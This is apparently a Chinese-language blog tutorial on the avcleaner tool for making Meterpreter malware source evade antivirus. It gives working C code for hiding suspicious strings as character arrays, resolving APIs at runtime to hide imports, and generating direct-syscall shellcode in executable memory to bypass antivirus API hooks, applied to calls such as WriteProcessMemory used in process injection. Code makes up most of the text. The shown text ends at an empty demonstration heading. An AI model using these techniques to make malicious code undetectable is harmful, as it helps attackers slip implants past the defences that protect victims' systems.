免杀基础–免杀工具avcleaner(一)

—原理篇


0x00 介绍

avcleaner是一个针对C/C++源码 obfuscator。主要针对两个方面实现免杀功能:

  1. 字符串混淆传递
  2. API 导入隐藏/系统调用重写

0x01 Bypass 原理

我们可以简单地将杀毒软件的检测机制归类为“静态”和“动态”。通常,如果在恶意软件执行之前被检测,则将其视为静态检测。然而在恶意软件执行期间,也会触发杀毒软件的静态特征检测机制,例如在可疑进程执行进程创建、文件下载时。

因此需满足如下两个要求才可以Bypass杀毒软件执行,类似的Meterpreter远程控制程序:

  • 绕过任何静态签名检测,无论是在文件系统扫描还是内存扫描期间。
  • 绕过“行为检测”,基于杀软的API hook检测原理进行规避。

0x02 avcleaner的实现

avcleaner 使用Clang / LLVM工具链的libTooling对C / C ++源代码进行解析,通过分析可视化AST语法树找到字符串和函数调用。然后对字符串进行混淆,在适当的位置(包含函数或全局上下文中)插入变量定义/赋值,并且对函数进行隐藏然后混淆代码。

虽然avcleaner作者是针对Meterpreter源码进行处理的,其中的免杀方式适用于其它的恶意软件。

1. 字符串混淆传递

作者指出有2处非常可疑的地方,容易被检测:

  • 函数参数
  • 列表初始化

函数参数

在以下代码情况,ESET Nod32将标记字符串ntdll为可疑

ntdll = LoadLibrary(TEXT("ntdll"))

可以用以下方式修改代码绕过检测:

wchar_t ntdll_str[] = {'n','t','d','l','l',0};
ntdll = LoadLibrary(ntdll_str)

列表初始化

在Meterpreter代码库中,这种结构可以在多个文件中找到例如在*c/meterpreter/source/extensions/extapi/extapi.c*:

Command customCommands[] =
{
    COMMAND_REQ("extapi_window_enum", request_window_enum),
    COMMAND_REQ("extapi_service_enum", request_service_enum),
    COMMAND_REQ("extapi_service_query", request_service_query),
    COMMAND_REQ("extapi_service_control", request_service_control),
    COMMAND_REQ("extapi_clipboard_get_data", request_clipboard_get_data),
    COMMAND_REQ("extapi_clipboard_set_data", request_clipboard_set_data),
    COMMAND_REQ("extapi_clipboard_monitor_start", request_clipboard_monitor_start),
    COMMAND_REQ("extapi_clipboard_monitor_pause", request_clipboard_monitor_pause),
    COMMAND_REQ("extapi_clipboard_monitor_resume", request_clipboard_monitor_resume),
    COMMAND_REQ("extapi_clipboard_monitor_purge", request_clipboard_monitor_purge),
    COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
    COMMAND_REQ("extapi_clipboard_monitor_dump", request_clipboard_monitor_dump),
    COMMAND_REQ("extapi_adsi_domain_query", request_adsi_domain_query),
    COMMAND_REQ("extapi_ntds_parse", ntds_parse),
    COMMAND_REQ("extapi_wmi_query", request_wmi_query),
    COMMAND_REQ("extapi_pageant_send_query", request_pageant_send_query),
    ...
}

如此生成的二进制文件,会有一大片的特征字符串,很容易被杀软标识出来。针对这个的处理方式是如下:

char hid_extapi_UQOoNXigAPq4[] = {'e','x','t','a','p','i','_','w','i','n','d','o','w','_','e','n','u','m',0};
char hid_extapi_vhFHmZ8u2hfz[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','e','n','u','m',0};
char hid_extapi_pW25eeIGBeru[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','q','u','e','r','y'
0};
char hid_extapi_S4Ws57MYBjib[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','c','o','n','t','r'
'o','l',0};
char hid_extapi_HJ0lD9Dl56A4[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','g','e','t'
'_','d','a','t','a',0};
char hid_extapi_IiEzXils3UsR[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','s','e','t'
'_','d','a','t','a',0};
char hid_extapi_czLOBo0HcqCP[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','s','t','a','r','t',0};
char hid_extapi_WcWbTrsQujiT[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','p','a','u','s','e',0};
char hid_extapi_rPiFTZW4ShwA[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','r','e','s','u','m','e',0};
char hid_extapi_05fAoaZLqOoy[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','p','u','r','g','e',0};
char hid_extapi_cOOyHTPTvZGK[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n','i','t','o','r','_','s','t','o','p',0};
char hid_extapi_smtmvW05cI9y[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n','i','t','o','r','_','d','u','m','p',0};
char hid_extapi_01kuYCM8z49k[] = {'e','x','t','a','p','i','_','a','d','s','i','_','d','o','m','a','i','n','_','q','u','e','r','y',0};
char hid_extapi_SMK9uFj6nThk[] = {'e','x','t','a','p','i','_','n','t','d','s','_','p','a','r','s','e',0};
char hid_extapi_PHxnGM7M0609[] = {'e','x','t','a','p','i','_','w','m','i','_','q','u','e','r','y',0};
char hid_extapi_J7EGS6FRHwkV[] = {'e','x','t','a','p','i','_','p','a','g','e','a','n','t','_','s','e','n','d','_','q','u','e','r','y',0};

Command customCommands[] =
{

    COMMAND_REQ(hid_extapi_UQOoNXigAPq4, request_window_enum),
    COMMAND_REQ(hid_extapi_vhFHmZ8u2hfz, request_service_enum),
    COMMAND_REQ(hid_extapi_pW25eeIGBeru, request_service_query),
    COMMAND_REQ(hid_extapi_S4Ws57MYBjib, request_service_control),
    COMMAND_REQ(hid_extapi_HJ0lD9Dl56A4, request_clipboard_get_data),
    COMMAND_REQ(hid_extapi_IiEzXils3UsR, request_clipboard_set_data),
    COMMAND_REQ(hid_extapi_czLOBo0HcqCP, request_clipboard_monitor_start),
    COMMAND_REQ(hid_extapi_WcWbTrsQujiT, request_clipboard_monitor_pause),
    COMMAND_REQ(hid_extapi_rPiFTZW4ShwA, request_clipboard_monitor_resume),
    COMMAND_REQ(hid_extapi_05fAoaZLqOoy, request_clipboard_monitor_purge),
    COMMAND_REQ(hid_extapi_cOOyHTPTvZGK, request_clipboard_monitor_stop),
    COMMAND_REQ(hid_extapi_smtmvW05cI9y, request_clipboard_monitor_dump),
    COMMAND_REQ(hid_extapi_01kuYCM8z49k, request_adsi_domain_query),
    COMMAND_REQ(hid_extapi_SMK9uFj6nThk, ntds_parse),
    COMMAND_REQ(hid_extapi_PHxnGM7M0609, request_wmi_query),
    COMMAND_REQ(hid_extapi_J7EGS6FRHwkV, request_pageant_send_query),
    COMMAND_TERMINATOR
};

2. 函数隐藏

API 导入隐藏

例如,Metepreter中的Kiwi扩展中

enumStatus = SamEnumerateUsersInDomain(hDomain, &EnumerationContext, 0, &pEnumBuffer, 100, &CountRetourned);

改为:

typedef NTSTATUS(__stdcall* _SamEnumerateUsersInDomain)(
    SAMPR_HANDLE DomainHandle,
    PDWORD EnumerationContext,
    DWORD UserAccountControl,
    PSAMPR_RID_ENUMERATION* Buffer,
    DWORD PreferedMaximumLength,
    PDWORD CountReturned
);
char hid_SAMLIB_01zmejmkLCHt[] = {'S','A','M','L','I','B','.','D','L','L',0};
char hid_SamEnu_BZxlW5ZBUAAe[] = {'S','a','m','E','n','u','m','e','r','a','t','e','U','s','e','r','s','I','n','D','o','m','a','i','n',0};
HANDLE hhid_SAMLIB_BZUriyLrlgrJ = LoadLibrary(hid_SAMLIB_01zmejmkLCHt);
_SamEnumerateUsersInDomain ffSamEnumerateUsersInDoma =(_SamEnumerateUsersInDomain)GetProcAddress(hhid_SAMLIB_BZUriyLrlgrJ, hid_SamEnu_BZxlW5ZBUAAe);
enumStatus = ffSamEnumerateUsersInDoma(hDomain, &EnumerationContext, 0, &pEnumBuffer, 100, &CountRetourned);

系统调用重写

通过系统调用号的方式直接调用ntdll中的函数,绕过杀软的RING3层的API HOOK。

// Get syscall_info structures
for (DWORD i = 0; i < export_directory->NumberOfNames; ++i)
    {
        DWORD rva_api = functions_address[ordinals_address[i]];
        DWORD file_offset_name = rva_to_file_offset(first_section, nb_sections, file_size, names_address[i]);

        unsigned char* name = file_buffer + file_offset_name;

        /*
            windbg > u NtCreateFile
            ntdll!NtCreateFile:
            00007ffa`202458e0 4c8bd1          mov     r10,rcx
            00007ffa`202458e3 b855000000      mov     eax,55h
            00007ffa`202458e8 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
            00007ffa`202458f0 7503            jne     ntdll!NtCreateFile+0x15 (00007ffa`202458f5)
            00007ffa`202458f2 0f05            syscall
            00007ffa`202458f4 c3              ret
            00007ffa`202458f5 cd2e            int     2Eh
            00007ffa`202458f7 c3              ret
         */

         // filter everything except Zw* API functions
        if (!(*name == 'Z' && *(name + 1) == 'w'))
            continue;

        PBYTE procedure_address = file_buffer + rva_to_file_offset(first_section, nb_sections, file_size, rva_api);

        // get the syscall id
        DWORD syscall_id = *(DWORD *)(procedure_address + SYSCALL_ID_OFFSET);

        // filter according to suspicious API calls
        for (unsigned int i = 0; i < nb_api_names; i++)
        {
            if (strequal(__API_names[i], (const char*)name))
            {
                syscall_infos[i].name = __API_names[i];
                syscall_infos[i].id = syscall_id;
                print_syscall(&(syscall_infos[i]));
                break;
            }
        }
}


static LPVOID get_shellcode_buffer(const char* name)
{

    dprintf2("[nteav] get_shellcode_buffer");

    if (!syscalls_initialized)
    {
        syscalls_initialized = TRUE;
        init_syscalls_ids();
    }

    dprintf2("[nteav] ready");

    syscall_info* syscall = get_syscall_by_name(name);

    if (syscall == NULL)
    {
        dprintf2("[nteav] No syscall found\n");
        return NULL;
    }

    unsigned int syscall_id = syscall->id;

    unsigned char syscall_shellcode[] = {
        0x4c,0x8b,0xd1,
        0xb8,0x18,0x00,0x00,0x00,
        0x0f,0x05,
        //0xb8, 0x01, 0x00, 0x00, 0x00,
        0xc3
    };

    //convert to little endian (byte swap)
    unsigned char lvalue = syscall_id & 255;
    unsigned char hvalue = (syscall_id / 256) & 255;

    // update the shellcode with the correct syscall id
    syscall_shellcode[4] = lvalue;
    syscall_shellcode[5] = hvalue;

    dprintf2("[nteav] generating shellcode");

    void *qapcmem = VirtualAlloc(0, sizeof(syscall_shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(qapcmem, syscall_shellcode, sizeof(syscall_shellcode));
    return qapcmem;
}

如果源码中有:

WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL );

将会变为:

//WriteProcessMemory 转为对ZwWriteProcessMemory函数的调用
void *hid_WriteP_1mEgtJuJ3mlW = get_shellcode_buffer("ZwWriteProcessMemory"); 
_WriteProcessMemory hid_WriteP_twJI7BxsnMz6 =(_WriteProcessMemory)(hid_WriteP_1mEgtJuJ3mlW);

hid_WriteP_twJI7BxsnMz6(hProcess, lpRemoteAddress, (PVOID)(lpNopSled), (ULONG)(mbi.RegionSize), (PULONG)(0));

0x03 演示